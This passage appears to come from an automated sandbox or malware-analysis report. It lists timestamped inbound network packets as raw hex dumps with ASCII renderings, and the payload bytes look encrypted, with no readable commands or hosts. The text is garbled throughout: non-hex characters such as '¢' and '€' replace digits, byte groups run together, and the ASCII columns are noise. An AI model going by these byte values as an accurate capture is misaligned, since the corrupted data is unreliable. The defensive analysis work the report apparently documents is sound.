Data Ascii: OMidx~Vv!37Tu#3t] T?<nmQrib\Q'wSs6[PznW?2kt,9=:;}N.y E_-#NjnL>*ustTOM;Ak"B#HH>f~AE;EApB04/iBI|TI"

2021-12-20 13:26:00 UTC 64 IN Data Raw: e6 a2 44 2b ¢7 09 f8 7b f1 53 b4 ¢8 5 20 33 90 94 a3 21 cf a0 96 7e 2e 92 e0 09 6a 7f el a6 62 31 42 cf a8 de
d5 f5 b5 d1 16 77 c6 79 d7 fc 19 Of 5e 1f eb 60 d6 3b f1 44 {3 5 f5 al 6¢ 49 f9 89 5¢ de d2 2e 90 al 2c ab 41 b9 a2 Oc d3
63 74 ea e9 f8 6a 00 2b fc 10 5d 87 5a 7e c8 a8 41 66 f7 c4 3d b4 77 79 92 95 c2 f9 92 01 eb 6a 7d 5¢ 48 d8 46 b0 a3 11
4a 8d e2 8b 99 16 d0 90 66 97 95 95 09 a6 ab dO 0d 49 e8 af 31 6d 9f Oe 34 9c 67 e3 f8 24 3¢ c7 ac 3d c6 af 13 83 62 ec
41 17 ff d1 df a5 46 89 77 31 eb 32 27 15 db 05 8b 29 e5 el 11 d3 35 ca 4f 83 2d e0 f6 ed al ae 1b e7 db el 3e c0 50 2¢
56 79 13 e8 03 4e 10 8d dd f5 b4 89 6e 5c e4 84 67 62 dc 2c 3b fe 90 ¢8 bd fc 5f a2 ec 69 9a 56 27 79 7c 78 3a 8d 07 c2
b7 80 20 44 4d 01 55 ae 56 45 8b 49 d5 dc 22 93 90
Data Ascii: D+{S 3!~.jb1Bwy”";DI\. Actj+]Z~Af=wyj\HFJflilm4g$<=bAFw12')50->P VyNn\gb,;_iV'y|x: DMUVEI"
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 65 IN Data Raw: 43 6b 08 Ob 6¢ e4 5a 90 e9 3f bf 33 b0 b4 56 50 c9 60 eb 53 73 3¢ 4b d6 62 cd d2 b7 30 de 7f 83 fa 3c d3 79
6a 40 5d b2 5f 81 7a c5 85 23 47 d1 77 65 79 f6 c0 19 51 1c f6 bl 3b 18 9e 63 c9 21 7d 19 bb ba 2a 7b ca 01 8a 8f b4 37
5f a3 5d 39 8e b5 c0 ac d8 8e 3b 49 df 24 bf a0 cc 98 95 e2 8a fc 23 e5 el 52 20 36 a6 31 b6 ee db 3b 38 cf 8b e5 83 31
d8 86 4e 62 9a e5 43 ac a9 71 7b a2 15 15 95 3d aa 86 cf 2f €9 4a 25 14 05 63 a0 f8 5¢ 49 62 fc 0a 3c 43 Of Oc b8 4e 87
88 6e 7f fe bf 05 cc fd 21 ed b5 b1 35 8b 51 3a 72 86 a5 e4 87 c8 e3 bb 63 Oc 7b 7c ea f1 83 ac 47 5e 87 a6 7f 1c 36 f3 ee
ef fb 7a 6e ef d9 Oc 76 fO 6b d2 f3 c3 b6 d3 55 a9 7c 73 10 23 38 cb f7 a9 b5 fa 90 b9 8a b5 4c 91 82 c1 38 eb aa 21 fe 1d
a9 95 64 ce 92 21 0b 52 26 37 f4 f8 ec 11 fd 58 62
Data Ascii: CkIZ?3VP Ss<Kb0<yj@]_z#GweyQ;c!}*{7_]9;I1$#R 61;81NbCq{=/J%c\Ib<CNn!5Q:rc{|G"6znvkU|s#8L8
1d!R&7Xb

2021-12-20 13:26:00 UTC 66 IN Data Raw: 73 85 37 1c c7 38 f0 89 84 b7 93 32 39 de 2f 60 10 30 66 31 9c Oa e2 ef 24 d5 8a c7 4b e0 79 99 ac 9a 21 17
27 a6 42 d9 a5 26 3f 15 fb d6 83 22 2d af ff ed 52 6b 86 af €9 21 09 c3 24 ed Oe 23 3c b9 b9 cf ca a4 07 a4 e2 90 f3 a7 59
ea c9 d2 01 d5 3d 23 36 95 be €9 9b fc 56 eb 24 3e ea c9 ba 91 ea aa e3 bb 7a 59 6a 69 fd b5 af ef 8e bf 93 74 b9 3a b3
31 be f4 04 4f c2 ¢3 21 40 76 3e 9f 60 15 16 d3 91 fe 62 46 7a b9 b9 4a ab 2b 67 87 {6 f3 69 95 71 €9 85 f5 09 95 d2 23 47
dc 6a 65 79 1f Oc 84 5b d2 ff 69 19 43 39 09 b6 ac 10 70 f5 45 d5 47 47 14 b2 3a 4c df fa 6a 3f 9e f2 8e 1f a2 2b da c4 ed
54 6d 5d 2b 42 33 82 8f 7Tb e1 91 8d c5 12 ad a3 a9 99 al 97 90 b6 bd 95 b3 02 ff 1f 38 bf 95 76 17 e6 a6 5c 57 8e d5 7e
a8 78 76 6a 42 39 a5 f0 2d 31 97 33 de af 48 ba
Data Ascii: s7829/°0f1$Ky!'B&?"-RK!$#<Y=#6V$>2Yjit: 10! @v> bFzJ+gig#Gjey[iCIpEGG:Lj?+Tm]+B3{8V\W~xvjB9-13H

2021-12-20 13:26:00 UTC 67 IN Data Raw: €3 68 bb 4e aa 74 d3 10 al f3 cf €5 0b 88 €8 cb 00 28 9f 43 0d 72 35 58 €8 09 b6 34 f1 c7 96 75 €8 73 bf e7 ea
dd 31 9d 43 6¢ 83 f9 8f 86 4f 50 35 ee 77 4b ff bb 5d e7 a5 dd db 7a 83 25 fd 21 cf 8c 7a 3¢ 31 0a 9a 28 64 82 d0 2d e8 a8
16 07 ef 28 8c d6 14 59 fa €9 db d1 ad 96 Oe 6b ae f9 d4 f3 5e ad d4 43 66 ed 2b 7d 92 80 a9 fc 9a 7f 57 4e 6d 51 ea d2
6a 9e 09 27 c5 ff e2 66 39 Of 5f 21 15 9a e0 f8 ¢5 98 15 ff el f4 1f 81 5e 2a ce 59 3a 6d 1c 49 f8 07 af d7 cb 09 a3 4b 16 9k
4d 40 61 5b 81 d1 49 41 46 bd 9d f3 f8 da 21 5a 1a 90 a4 68 ac cl ef 24 30 ec 8a bb ee 61 a4 d2 19 07 dO df 17 8c eb bb
b4 c1 aaal 94 70 06 f6 56 e4 bd c3 d3 8a 07 93 8a b1 46 6a 3e 29 64 11 66 11 39 f5 4e c2 3c 2e 29 36 a9 b5 cf d6 46 2e
10 f1 7f dc 2c 5b 7f 1a €8 03 2c 4c 14 2e 5¢
Data Ascii: hNt(Cr5X4us1CIOP5wK]z%!z<1(d-(YK Cf+}WNmQj'f9_"*Y:mIKM@a[lAF!Zh$0apVFj>)dfIN<.)6F.,[,L.\

2021-12-20 13:26:00 UTC 69 IN Data Raw: bb 44 98 7e 73 26 13 d3 ec fd a8 00 3a b3 da c0 13 48 7a da 74 c6 d5 7e 4c 1e 83 10 16 da 60 fe 62 46 Oc 9a
76 4e 2e bc 53 87 €9 b9 ff c3 f3 be 66 a2 82 1d 6d 3d ec 23 c5 ee ef 3c ¢3 94 04 0f 60 a2 94 76 b8 bb 64 4b 95 c3 09 e8
7d a4 02 4c b2 f3 a0 df fa db 66 d2 8e Oc f8 2f 2f c7 c3 66 d7 b9 Oe c2 e2 4c 00 78 93 88 51 08 05 36 4e bd 8d 6a d3 ed 3a
c5¢7 b3 18 ad e8 6d 23 79 c5 f5 d3 63 a6 09 01 8d d5 d0 11 08 52 92 bc 45 9e 82 e9 1a 68 5d af b7 b0 45 9a Oa €9 22 da
b9 78 93 0d 4e cb 2f 2a 1a 65 b3 08 1a d8 b9 c4 33 73 4d 33 53 75 bf bl ba 6a ae 78 9a b7 2d db ba 6e €9 a7 72 47 3f 89
1f 11 2b aa e2 22 82 a7 bf aa d3 d3 ff e9 cc 03 b8 24 9b 69 12 35 c0 53 aa 56 52 86 90 b4 9b aa 6a ab el 21 b9 96 96 37
5b ea b9 a7 f8 77 25 8a 45 59 98 de e4 c4 12 cb bb 9¢
Data Ascii: D~s&:Hzt~L bFvN.Sfm=#<"vdK}Lf//fLxQB6Nj:m#ycREh]E"XN/*e3sM3Sujx-nrG?+"$i5SVR]j! 7[W%EY

2021-12-20 13:26:00 UTC 70 IN Data Raw: 99 81 d1 97 3a 5e 8b e0 ec 29 75 b2 b9 bd 3a 95 66 a8 53 a3 66 35 ad ed 4a 4f 52 f8 1b Oc ec 2a 97 95 92 b6
b3 d5 b8 f3 c1 6b f3 6a €0 12 63 Ob 73 1d 72 ea bb df a8 6f c2 4c 57 84 ac Oa a4 ca 62 a6 eb 36 99 fO 04 e2 5e d4 c5 5b
3a lc cc a9 bec 2b 4f 23 5e 93 a2 c0 ¢6 d1 92 09 3f 22 ad 5a 8e 39 94 01 4d d2 d9 f6 dd 56 b2 8e 65 09 91 a4 48 6¢ 45 c7
3 3c 11 a8 cf cb 98 13 b0 88 ¢8 bd c4 a3 b3 37 bl 0f e8 34 94 39 2f 6a ee 72 71 3a c4 ec ca 8b 29 aa 37 2a fe 4f c4 c1 24
15 b6 7b d6 dd 8f df b8 39 2b e3 32 66 49 2f 6d 87 b6 d9 37 fO e6 b8 a5 ef 79 ff 59 6¢ b1l 8e c1 10 5f 60 a3 9a 92 22 73 63
c50d 8e 16 ad c8 2b b7 f9 65 4c €9 b6 f3 71 ce 44 83 0d a5 28 8b c2 8c 6e ef Ob 1le 8c ef b4 8d ca cl a2 09 65 ea db ff 07
77 46 17 c7 67 24 d2 60 39 33 fd a2 a0 6e 21 71
Data Ascii: :)u:fSf5JOR*kjcsroL Wbh6[:+O#"?"Z9MVeHIE<749/jrq:) 7*O${9+2fl/m7yY|_"sc+eLgD(newFg$ 93n!q

2021-12-20 13:26:00 UTC 71 IN Data Raw: 8f 6¢c ac 72 65 7d d9 20 36 7b fO 5a 62 c2 3b 52 4c 18 af 8 46 70 86 3a fb 52 f7 7b 6¢ 39 ef 2a 2f c3 41 db e7
0Oe ba 63 5b 90 cd eb 18 53 65 c5 ef 72 1b 32 97 b6 aa 1c b7 86 36 4a 8d d6 e5 17 b7 3d 83 97 f8 8e 50 48 c6 63 00 af b4
20 64 96 51 d7 20 ba e5 33 5a 18 5b a4 a0 80 e7 54 db 6b ae 25 4a de 95 f0 27 04 d3 05 33 74 53 28 cb ae ce 95 40 91
le 4e a8 cb ea 03 c7 ba be 83 87 87 30 94 b3 8a 36 d8 c7 Oc 6d 96 ad fc 42 8d ad a3 95 de b4 7a 38 95 d1 e2 b8 df 8d a9
54 63 53 28 1c fa 00 fc 98 de 66 08 60 ce a0 12 b0 12 6f 82 4c 24 aa 56 8a 22 d4 04 91 ca bl c1 7f 57 c2 a7 10 4f 90 8a
ae fd 7b 90 21 af d9 1a 2b 53 67 2e ed 8¢ 73 ff 5f 13 35 2e 57 40 33 33 d9 ca f9 33 8b 40 25 c6 4d 4f 3d 44 e7 5c 98 2b 03
03 36 48 c2 7b 05 4e 1f f9 02 c4 75 1d da d5 3f 98 8d
Data Ascii: Ire} 6{Zb;RLFp:R{I9*/Ac[Ser26J=PHc dQ 3Z[Tk%J'3tS(@N06mBz8TcS(f oL$V"WO{!+Sg.s_5.W@333@%
MO=D\+6H{Nu?

2021-12-20 13:26:00 UTC 72 IN Data Raw: 06 f2 d3 24 81 87 1a dd 50 a0 db a5 14 Oc b8 e8 34 99 23 d3 33 ce b8 4b 76 60 26 72 67 3c 09 7a fb 6b c9 fc
46 07 4a d2 b1 99 71 15 43 40 1d 36 2a 82 db aa 91 a6 2d 41 93 9a a9 25 d8 69 15 20 c5 f2 13 e0 6a 86 a0 66 89 ba cO Of
b3 ef €5 69 0d a6 93 el 66 c8 b3 00 3e a5 eb 8a 0d d3 5b bd 8e 40 12 ff 21 22 17 f9 3a 99 1f 43 f9 5a 54 e6 €9 09 ab b2 f3
92 1b d6 9f 1d 0d 88 7a 4b 57 17 05 81 54 9a bb 05 9b 3c 01 bd e8 6b 69 75 de c8 2e 11 30 f5 48 b3 81 62 be d5 f0 ed 71
69 74 51 ce df 94 80 44 fc 7f f4 5¢ 48 02 4f 97 5¢ 3e 9e €8 cf 99 e3 5¢ da 6e af f1 51 4a c8 99 7d 8f 71 61 78 aa 52 5¢ ef
0Ob a0 34 d9 20 a8 04 71 f1 48 7e ba 03 99 55 e3 3 7a 54 d9 2d 34 db de cd d8 07 85 f9 4b 29 98 ff 7 4d 2a 3c 9c d9 ad
2566 73 fd 76 59 1d 76 37 20 62 37 68 12 2f 81 ee
Data Ascii: $P4#3KV &rg<zkFJqC@6*-A%i jfif>[@!":CZTzKWT<kiu.0HbgitQD\HO\>\nQJ}gaxR\4 qH~UzT-4K)M*<%fsvYv7
b7h/

2021-12-20 13:26:00 UTC 74 IN Data Raw: 72 69 70 7e 29 f6 10 fa ea 30 ff 41 47 10 d3 08 f7 9e 16 8 ed 28 91 6e 49 66 b2 c4 4c 73 4a 95 23 0d b4 el fc
a6 0b 6e ec 11 bd e4 3 21 cc 94 6a 5f 92 51 f8 90 e6 89 f2 9a 86 0a 3b dd a6 60 cO eb 31 45 5f f1 db f6 7f ad 41 c4 35 a3
6e 74 bd 2b e5 9b 97 78 49 al 26 12 e7 Of e4 8e 58 bf 06 0d 2b 96 64 bd 98 f9 45 7e b3 f9 9e 51 87 f8 82 fe al 65 6e 02
0d 3a 5b 8b c7 el c2 96 bd bf 79 ca ae 6d bf 10 39 e0 f5 €6 0d cd 18 ee 41 2a b2 60 2e b9 03 e0 11 4b d2 b5 39 0f de b3
ae 3e 4a 7f 37 e4 02 b8 91 Oc dO f7 c4 ce 8a 89 38 ef 03 28 9f 9a 78 a5 c0 20 7b Ob 19 23 90 03 7e a3 7e 8¢ 2a 7f f2 3¢ b4
9f 43 fb d6 ae 67 d6 37 97 70 7c 77 21 fe 36 20 61 f2 22 24 a5 50 de fb 36 0d ce 7e 3d ba d2 49 04 a5 ad Ob 22 ef ee 22
ec a9 a2 c5 ee 5d d5 ee el 56 31 45 84 19 af aa
Data Ascii: rip~)0AG(nlfLsJ#n!j_Q; 1E_A5nt+xI&X+dE~Qen:[ym9A*".K9>J78(x {#~~*<Cg7p|w!6 a"$P6~=I""]V1E

2021-12-20 13:26:00 UTC 75 IN Data Raw: 3e 20 07 ae a6 ad 99 58 6f c6 c9 af a9 5d 48 09 f4 04 07 b7 b9 d7 Oe 7a ca 29 1e ab a2 af f2 00 42 e8 bd 2f 7d
4c da d6 38 d1 88 eb ef Oc 6a 31 33 ¢8 1d c7 83 01 d3 3d c5 18 3f 3d 1c 44 8 f4 b2 74 2d 2d 3b c6 d1 20 18 15 3a 66 bl
¢9 0c 60 2e 19 84 db 2f 3¢ 5f 8f 71 ea ae 25 1d a4 62 2c 5c €8 07 e6 ca 3e 66 12 4d d2 44 71 2b 8f e2 e4 5e 59 1d 39 3a
8d d5 42 54 07 ef f9 ¢3 bc 65 f2 a9 6b 78 ¢3 1b 08 81 6f 75 8b 99 54 ca 2e fb ba 69 €9 32 21 e4 a4 d7 d9 e2 b8 97 Ob 97
el 739853 a5 7b ae 23 fc 8e f5 f7 7b 08 86 6f 63 31 be b0 6d 57 02 fa ac d5 2d 01 e3 5b 43 ff 3c 2b f4 62 cd 0f 7f 85 1le
a5 91 06 f6 7d ec 95 a9 99 33 7a 05 58 4e cd 6d c5 23 48 30 91 ce 37 45 81 4c ab 66 af 1f fa 63 42 6¢ 69 22 30 31 7b 25
cc 05 5e dc 34 dc 2a 61 f7 3e 02 f3 c9 2e a6 82 b0
Data Ascii: > X0]Hz)B/}L8j13=?=Dt--; :f"./<_q%b,\>fMDg+"Y9:BTekxouT.i2!sS{#{oc1mW-[C<+b}3zXNm#HO7ELfcBIi"01{%"
4*a>.
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 76 IN Data Raw: 7a 81 e5 9c f0 79 91 af ed 59 25 cb 46 6f 80 0a c4 5b d8 12 cd 1e 3f 29 fa 6b 08 dc 1f ac b9 2e c9 11 19 a3 c9
da 8e 7a 50 0d cf 39 ac 90 08 bf 4f 16 al 37 62 88 43 d3 cb df 82 9a 5f d5 18 58 5d d0 27 04 57 fc fa 2d ed 16 44 el 37 Oa
ab 60 5e 40 cc cc 10 ae 12 ff a3 14 8c 28 10 f6 c1 89 08 bc 6e 87 ab d9 6e 9b b3 70 16 1f ff 33 69 a4 73 0f b7 db a4 50 dc
44 ¢2 d8 97 5a 3d 31 62 72 42 c1 e0 ba 2d 01 6¢ 71 ba 20 60 1a 72 43 7c ab 01 85 a6 91 15 b2 af 23 3b 30 f3 1a 44 eb ac
41 12 44 02 be da fe 05 2b 90 d5 bd 92 75 92 b9 ea 76 f6 ac 6e b8 89 f9 c1 bc 38 5a 6b 82 €0 8¢ 32 14 ea d8 el f4 03 53
72 e2 6b 87 2a e8 5f f9 fc d3 bc 9b 8d 32 5a 44 cf b6 56 €2 5d 52 54 97 81 4c 25 64 6a 30 26 a7 b2 92 b3 97 f9 3d 6a 13
ce 90 3b 3c ed df 5f 62 09 83 2d e3 3a ff 74 59
Data Ascii: zyY%Fo[?)k.zP9O7bC_X]'W-D7 @ (nnp3isPDZ=1brB-lq ‘rC|#;0DAD+uvn8Zk2Srk* 2ZDV]RTL%d|0&=j;<_b-
Y

2021-12-20 13:26:00 UTC 77 IN Data Raw: 7c 83 59 al al a5 e8 6e 4c fe 5¢c f1 ba 5d 2b e2 88 02 8c fO f5 06 39 94 74 28 24 89 4a 09 af e0 64 1c ed 10 46
df 7e 30 45 Of eb f9 f5 67 e1 05 53 67 6f 98 46 47 68 36 2c da 6d dc f7 36 4b ef 9e 8d 1d 81 4e d4 36 44 75 74 f4 bf b0 74
279326 42 98 9d 32 cO b5 94 a8 72 46 7 32 f0 03 de 85 78 94 17 86 c7 4e df a2 67 1d 03 41 85 75 22 6e 35 34 f4 c9 18
c6 ec 31 2c e2 fc 95 74 67 ¢3 21 95 ¢3 09 37 6f fd 17 15 b2 c4 65 df fa d5 7 16 5f 9a a0 ac 5e 86 4e 42 20 72 c5 3d ef c7
f0 35 63 ac 49 85 af 42 71 bb a6 7a Oc 80 0a b8 38 4c c2 b8 f0 1f 5d cb ea 27 ff 10 a3 84 a9 fa ac 2b 4a 85 c7 00 42 37 34
0044 99 09 c1 d6 34 48 37 a3 99 33 97 ae b0 1c b7 8e 7c 62 84 16 e4 1c ab 76 00 53 a2 57 5d 63 9e €0 8 23 47 0f e5 cO
41 d0 43 9d 73 b8 dd 97 1c 58 f1 €9 27 50 02
Data Ascii: |YnL\]+9t($JdF~0EgSgoFGh6,m6KN6Dutt'&B2rF2xNgAu"n541,tg!7oe_~NB r=5cIBqz8L]+JB74D4H73|b
VSW]c#GACSX'P

2021-12-20 13:26:00 UTC 79 IN Data Raw: 90 d2 90 46 9f 53 7f bb b5 1a cf 5e 1f df 07 d3 Ob d4 30 e4 f5 78 25 8f 0a b4 8d 78 2f 78 4f 06 23 ba 41 7d 90
65 dc db 6f 09 85 al 99 15 4a 97 55 31 ec 88 df 6f 68 57 be 39 20 da 4a 9f ee 20 e0 46 8e 3a 77 5¢ 7f b9 fd d6 94 84 69 of
10 1d 94 9d 91 35 95 76 98 fa 2e 97 c6 92 b6 ea 2a 5d 48 53 01 f3 6a ab da 1d fO 64 al 5e 8c 32 d7 09 04 57 b8 ee 76 15
83 a4 41 9c f3 89 ba a6 68 db fa c1 33 6¢ 4c 40 58 fa 00 f0 96 34 c5 42 36 5d 08 07 f9 b1 09 3f al d1 9b 69 1b 94 21 42 91
5b 07 f2 56 8c 71 db d0 fd 3a a0 32 db 6f 5a 5f 62 be 98 23 bb f1 53 32 6b 13 e4 ca 73 30 6a 03 41 3b 83 3d 61 3a 06 22
93 d9 7e 41 2c ce af 51 9f 83 f4 ce 30 78 24 34 16 7b be bf fb 20 1e bb 34 2a 32 31 9c 62 38 60 9e 5c a3 b5 le 6b ec 32 fd
3 cd 66 10 Oc ¢8 d9 5f 37 78 87 92 16 60 23
Data Ascii: FS"0x%x/xO#A}e0JU1ohW9 J F:w\i5v.*]HSjd"2WVAh3IL@X4B6]?i!B[Vq:20Z_b#S2ks0jA;=a:"~A,QO0x$4{
4*21b8"\k2f_7x#

2021-12-20 13:26:00 UTC 80 IN Data Raw: 8c c6 37 f5 82 80 89 1f af 49 d0 35 2e 74 5f 85 04 8¢ 27 26 d4 9b 3a 16 df 77 c2 41 40 1f d5 d2 c4 80 52 80 bd
67 fb 58 a2 c6 56 fa 05 72 65 dd 65 21 6b 67 5e 53 ¢7 Oc b1 25 18 10 a0 61 bd 71 e0 65 7b 3b 56 3e 49 4e 34 c7 19 f1 33
86 87 0d 44 66 9e 2e a2 0d ec fc a3 6a d1 Oc 82 ff cb ff {8 59 53 54 68 5d f2 52 c1 ff 4b c1 27 d8 47 71 dO 3e 48 68 c7 c2
02 6¢ df 7b 5 45 8f 75 99 5e b7 18 89 89 61 dc ad 2b 64 37 Oe 8d 16 f2 76 e0 1a 53 e6 78 c6 e5 64 db a8 60 a4 Oc d6 1b
d1 a2 1f 4a Of ba d4 81 38 67 ac 08 c2 11 43 d8 53 7e 83 65 4c ch 3f f7 b2 55 81 el 92 e8 4c 73 00 95 23 0d fc a4 fc c9 Ob
6e ec 75 d3 e4 98 21 cc 94 4a 63 92 10 f8 90 e6 a9 d2 9a 81 Oa 3b dd 86 76 cO fO 31 e4 93 10 3f 31 5e 4d ad ff 5a 58 2a
39 53 52 95 07 d3 c8 Oc 49 c9 ce 88 60 82 49 77
Data Ascii: 715.t_'&wA@RgXVree!lkg"S%aqe{;V>IN43Df.jY STh|RK'Gg>Hh{Eu”a+d7vSxd J8gCS~eL?ULs#nu!Jc;v1?
1AMZX*9SRI' w

2021-12-20 13:26:00 UTC 81 IN Data Raw: 60 85 8c e2 ae 19 ee al bb 6b 84 ef bf 9e 0d 58 c2 ¢8 9b eb 5d cc Oc 07 61 a3 c7 2f 3a 29 ec 6a d9 04 84 91
€7 57 b6 e5 27 f8 7c ae 74 31 ba e2 1f 19 3c 40 1f c4 10 d6 cb 6¢ f3 db 69 52 f8 7f 23 3a af 09 33 90 79 b7 6¢ 27 5¢ 27 5e
24 554 b0 86 1b f2 25 8f 4b fa fb 30 €8 02 68 50 07 c7 57 €6 3f 9e b9 a4 d4 01 20 51 08 8b c0 13 08 29 9b {7 93 ee 21 d8
1580 62 a8 61 16 35 14 f0 11 aa 72 45 4a 4c 00 4f 17 95 04 2d 6b 88 7f ca bl 5f ed ab d2 2¢ 31 77 cc b7 c3 b6 43 a9 c8
bd 92 06 9a 44 50 82 21 59 4a d8 eb 5b 24 ec 9b 4c d9 ea 9b 71 0d 25 46 a3 9c 62 d6 80 28 al e6 d3 b3 4d 1f 1c e9 38
e4 6b 9b cd 86 63 e7 76 59 1c 8b cd 10 d5 e0 39 73 69 74 50 c8 8¢ 36 1c 44 fc 1c bf 88 3a b0 34 02 c5 26 2a 6¢ 7e 9d 4e
5c 62 63 6b c9 d4 dd 2f 24 al 8f 71 Ob 29 4b 07 {3 34
Data Ascii: “kX]a/:)jW'[t1<@IiR#:3yl'\'""$T%KOhPW? Q)!ba5rEJLO-k_,1wCDP!YJ[$Lq%Fb(M8kcvYIsitP6D:4&*|~N\bck/$q)K
4

2021-12-20 13:26:00 UTC 82 IN Data Raw: 77 4b fc 70 3c 54 db 64 d3 f7 06 55 8a ab €8 82 f7 70 ed 31 1c cf 0d be d2 2d 6b 57 e4 e3 2d a9 38 9a 23 0f 20
7c Oe 33 fa 7e Oe 2e aa 7c 7e 83 0d 4e d1 50 a9 le ff 81 c1 51 3a 61 96 56 42 88 €7 d1 ca 79 1c 13 1a 53 13 ef 7b €9 d7
98 97 94 ec cbh b7 10 d7 16 95 c4 6a d5 c1 5d 09 d4 e6 be da 3c 12 d8 18 de b5 aa c9 d2 b2 36 16 3d b3 34 db el 81 e9
b9 14 da 89 33 70 38 81 f4 76 37 b3 el 84 14 70 2f 09 ae 3a 54 a6 el 4a a6 02 2d b0 63 3d 75 e3 5a ba 3 82 a0 4d 15 af
f9 71 92 e8 07 46 74 €5 2d 78 2e 8b 37 bb f2 b0 2f d5 db 58 4f 83 7e 70 3d 1d a4 00 5e d7 8¢ 89 54 6b c6 78 3a 8d 07 3a
b1 d0 d8 cd 83 cd 52 18 d6 ab d9 4d d5 38 7d 47 93 de d2 da 27 €5 66 71 9c b9 2b 32 68 bb 86 fb 9d 8a 36 da e4 13 36
6c 00 d4 41 6b 3b c4 f4 64 1d f6 7c 6e 43 cd 68 6a 66 7a 93
Data Ascii: WKp<TdUp1-kW-8# |3~.|~NPQ:aVByS{j]<6=43p8v7p/:TJ-c=uZMgFt-x.7/XO~p="Tkx::RM8}G'fq+2h66IA
k;d|nChijfz

2021-12-20 13:26:00 UTC 83 IN Data Raw: 61 c5 85 26 f8 a8 35 8d a4 f6 c8 94 87 48 b4 b9 a3 95 3¢ 3d 42 c4 c8 6a 82 ff d6 76 18 1a d1 3a be 1c 71 0d b2
4d 70 7d 6b 28 2d df 33 78 af 56 fd 3b d7 7b 2c 22 c3 af cb el 8a 42 20 b5 34 7e dd 96 c8 4e 3e cf 02 29 02 a4 c7 05 c4
7e 62 6d a8 c9 7d 77 c1 23 c3 7h ce 1f 45 7d 24 04 96 c9 el 18 d8 61 58 31 €9 23 66 15 €6 b9 51 03 5¢c ea le d4 3e 97 d5
a3 7c 8b 5¢c ad 8f 33 ce b5 b4 50 24 32 a7 aa b6 0a b4 08 65 8d 6¢ 55 0a d6 06 7a 66 7a c1 9b 87 e0 48 53 ee 28 d3 03
78c08aale7 79 7e 24 24 b3 99 cb cd c5 ¢3 f5 08 61 47 al 2f 14 7 ¢3 Oc cc 9f 34 ¢7 ca d9 ¢3 23 0d cc ad fc 9 Ob 6e ec
61 de e4 92 21 cc 94 1e cc 6d 8e 07 bf 10 4e al 9a 71 ce dc 1d f6 78 d4 14 26 71 80 4c 3e 61 3a 4d a7 6e 5e 8e 9a f1 07
d9 70 b2 31 34 1a 23 02 27 8c 00 83 c4 58 a7 2f 86 86
Data Ascii: a&5H<=Bjv:qMp}K(-3xV;{,"B 4~N>)~bm}w#{E}$ax1#fQ\>\3P$2elUzfzHS (xy~$$aG/4#nalmNgx&qL>a:M
nApL4# X/

2021-12-20 13:26:00 UTC 85 IN Data Raw: 24 37 bb 5b 56 94 d6 e7 3c 60 02 7e ee c2 €9 a5 f5 72 70 06 9f 02 b7 a6 6f 50 83 6f 86 01 73 1b b2 88 1b 47
4936 00 d3 a9 7c 3a ab 17 eb 89 37 17 df 5d 60 95 c1 b7 ae e0 8e 03 80 37 49 23 a6 df 4d 15 3e 21 5c 5f 66 23 91 b0 88
4bc2 65 al 63 67 d7 82 8d 82 93 7d e7 3b 14 4a 59 77 c8 36 11 43 80 8d 98 5c 00 6f 49 ed 24 a6 6b 73 87 07 32 ab a9
d1 34 c3 6 72 4f 2b 72 00 5b 8b ba b5 2d 28 a5 37 49 c3 €3 57 f8 66 c8 b3 d6 25 e6 87 82 02 4f d9 ea ce 4a 12 ff a9 67 c3
7020 1f 17 58 b7 ec 23 6b c6 9 76 bb 73 a2 07 3e 62 bd 3b f4 d4 43 5f 5a 26 €6 6a ee 2b 08 28 1d 10 58 b5 fb 6f b5 26
ba 9c 16 32 f2 f2 68 21 69 10 Oa 1d 65 88 96 8b 52 13 72 d3 4c c9 b1 30 e3 27 48 1a 4b 94 86 43 bf 5b 30 66 3a 7b 81 a8
8b 99 83 62 1a 78 d3 8f 42 a8 ab e5 2f 9f bb 49 d0 c9 53
Data Ascii: $7[V<'~rpoPosGI6|:7] 7I#M>!\_f#Kecg};,JYW6C\ol$ks24rO+r[-(7IWf%OJgp X#kvs>b;C_Z&j+(Xo&2h!
ieRrLO'HKC[Of:{bxB/IS

2021-12-20 13:26:00 UTC 86 IN Data Raw: 49 32 b9 4b e8 e2 48 f2 b8 a6 cc b7 e5 9a 28 21 Oc 39 d2 8f 7f 7b bd 63 00 24 32 cc 17 f3 51 87 €3 23 74 84
a2 c4 9b d5 2d 7d d8 fd 01 bc 4e 89 2a de 7d d5 6a 27 d2 79 08 3¢ 81 3b 97 22 5b 41 bc 35 6a ¢3 f1 09 61 46 9a 9 fa ca
75 f2 59 6f b9 03 63 60 7d d4 27 34 ad 77 9c e3 fb 41 d2 ad e4 92 a2 cf el 67 f3 e6 6b 73 12 b3 55 2¢ d7 16 5b 14 2b 43
01 c0 1c f5 2b 53 64 38 37 65 16 af 4f Ob 12 ff bc Oc b6 ff ec a0 57 46 12 bd b2 07 2f 6a 19 90 de a3 f3 3c 93 bb aa bd 1c
81 6e 52 bd 1b 51 6a d9 83 fe 34 14 6f 02 a0 f4 a4 74 cf 68 2e 4a a2 0a e9 d8 07 92 ed c5 15 2a f2 5¢ 0a c5 6b 99 38 59
4d 30 c6 de cc ff 10 9b fe 76 d8 f7 c8 3f €8 30 36 78 c9 b8 d3 93 59 5d 5d 22 7f 8b Oc 80 72 ba fe d7 eb 8d fd ad ed 3d d6
b7 1a 9b 49 f5 1c a3 14 07 0d 8a fc 75 c0 eb f1 08
Data Ascii: 12KH(19{c$2Q#t-}N*}j'y<;"[A5jaFuYoc '} 4wAgksU,[+C+Sd87eOWF/j<nRQj4oth.J*\k8YMOv?06x Y]] "r=lu
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 87 IN Data Raw: 00 bd 84 41 79 1e 79 5d 57 d9 62 e6 bb 30 12 62 8e 66 b0 7d 84 f5 8e be 36 da e4 ab 64 93 5b f8 18 05 3b Ob
8f 5b 15 05 85 a2 d6 03 92 b1 db 5a 99 82 34 af 53 8 64 4c 9b a5 e9 95 54 e7 d3 5¢ ce 90 c0 cl 4c c1 65 0d 36 7b 93 4d
d8 c5 77 f4 4e 38 29 6a 76 37 b7 36 9d 20 6f f6 5d 74 c1 65 1f b6 2d af 76 9c ca 4f 76 b0 84 fc 8f 53 cc df 7a 47 44 fc 77
b5 70 46 8b bb 45 d7 ae c9 4f bb 83 ec 60 87 a5 93 49 2d 89 b0 02 58 da 69 ea 6d 35 9c €9 72 14 d7 30 5e 3e c9 3c 66 fd
